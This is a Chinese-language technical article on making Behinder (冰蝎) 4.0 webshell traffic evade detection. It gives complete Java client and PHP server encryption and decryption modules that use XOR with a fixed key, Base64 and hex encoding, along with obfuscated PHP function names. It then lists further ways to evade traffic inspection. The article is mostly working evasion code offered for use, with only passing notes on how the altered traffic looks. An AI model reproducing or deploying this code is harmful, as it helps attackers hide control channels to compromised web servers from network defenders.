冰蝎流量免杀初探
字数 957 2025-08-26 22:11:57
冰蝎4.0流量免杀技术深度解析
0x01 前言
冰蝎4.0版本引入了自定义传输协议功能,允许用户对通信流量进行改造,从而实现流量层面的免杀。本文基于rebeyond大佬的研究成果,详细解析冰蝎流量改造的技术细节。
0x02 冰蝎传输协议模块架构
冰蝎传输协议模块分为两部分:
- 本地模块:必须使用Java编写,运行在客户端
- 远程模块:根据Webshell语言类型编写(支持Java、PHP、ASP等)
完整流程:编写完本地和远程模块后,需要生成自定义的服务端Webshell,然后使用改造后的客户端进行连接。
0x03 加解密流程详解
1. 本地加密函数(Java)
private byte[] Encrypt(byte[] data) throws Exception {
// 1. 异或加密
String key = "e45e329feb5d925b";
for(int i=0; i<data.length; i++) {
data[i] = (byte)((data[i]) ^ (key.getBytes()[i+1&15]));
}
// 2. Base64编码(兼容不同Java版本)
byte[] encrypted = null;
Class baseCls;
try {
baseCls = Class.forName("java.util.Base64");
Object Encoder = baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted = (byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
} catch(Throwable error) {
baseCls = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = baseCls.newInstance();
String result = (String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
result = result.replace("\n", "").replace("\r", "");
encrypted = result.getBytes();
}
// 3. 转换为十六进制
Object obj = null;
try {
Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");
obj = clazz.getDeclaredMethod("printHexBinary", new Class[]{byte[].class}).invoke(null, encrypted);
} catch(Throwable error){
System.out.println(error);
}
return obj.toString().toLowerCase().getBytes();
}
关键点:
- 使用固定密钥
e45e329feb5d925b进行异或加密 - 兼容不同Java版本的Base64编码实现
- 最终转换为十六进制字符串
2. 本地解密函数(Java)
private byte[] Decrypt(byte[] data) throws Exception {
// 1. 十六进制转Base64
String decrypted_hex = new String(data);
byte[] decrypted_base = null;
try {
Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");
decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary", String.class).invoke(null, decrypted_hex);
} catch(Throwable error){
System.out.println(error);
}
// 2. Base64解码
byte[] decodebs;
Class baseCls;
try {
baseCls = Class.forName("java.util.Base64");
Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs = (byte[])Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base});
} catch(Throwable e) {
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder = baseCls.newInstance();
decodebs = (byte[])Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)});
}
// 3. 异或解密
String key = "e45e329feb5d925b";
for(int i=0; i<decodebs.length; i++) {
decodebs[i] = (byte)((decodebs[i]) ^ (key.getBytes()[i+1&15]));
}
return decodebs;
}
3. 远程加密函数(PHP示例)
function Encrypt($data) {
$key="e45e329feb5d925b";
// 1. 异或加密
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
// 2. Base64编码
$bs="base64_"."encode";
$after=$bs($data."");
// 3. 转换为十六进制
return bin2hex($after);
}
4. 远程解密函数(PHP示例)
function Decrypt($data) {
$key="e45e329feb5d925b";
$bs="base64_"."decode";
// 1. 十六进制转Base64
$after=$bs(pack('H*',$data)."");
// 2. 异或解密
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
0x04 加解密流程总结
-
加密流程:
- 原始payload → 异或加密 → Base64编码 → 十六进制转换
-
解密流程:
- 十六进制数据 → Base64解码 → 异或解密 → 原始payload
设计原理:
- 先进行Base64编码主要是为了保护原始payload,防止在从十六进制转回原payload时发生递归解析
- 十六进制转换使得流量看起来不像常规的加密数据
0x05 实际应用
-
生成自定义Webshell:
- 在冰蝎客户端中编写好本地和远程模块
- 生成服务端Webshell
-
连接测试:
- 使用改造后的客户端连接自定义Webshell
- 通过Burp等工具抓包验证流量特征
0x06 流量分析
改造后的流量特征:
- 所有通信数据均为十六进制字符串形式
- 无明显的Base64或加密模式特征
- 与传统冰蝎流量模式完全不同
0x07 进阶思考
要实现更高级的流量免杀,可考虑以下方向:
- 动态密钥交换机制
- 多层嵌套加密
- 模拟常见协议流量特征
- 结合TLS/SSL加密通道
0x08 注意事项
- 本文仅讨论流量改造技术,Webshell本身的免杀需要另行处理
- 实际绕过流量检测设备可能需要结合其他技术
- 密钥需要定期更换以提高安全性
通过以上技术,可以有效改造冰蝎的通信流量,使其难以被常规流量检测设备识别。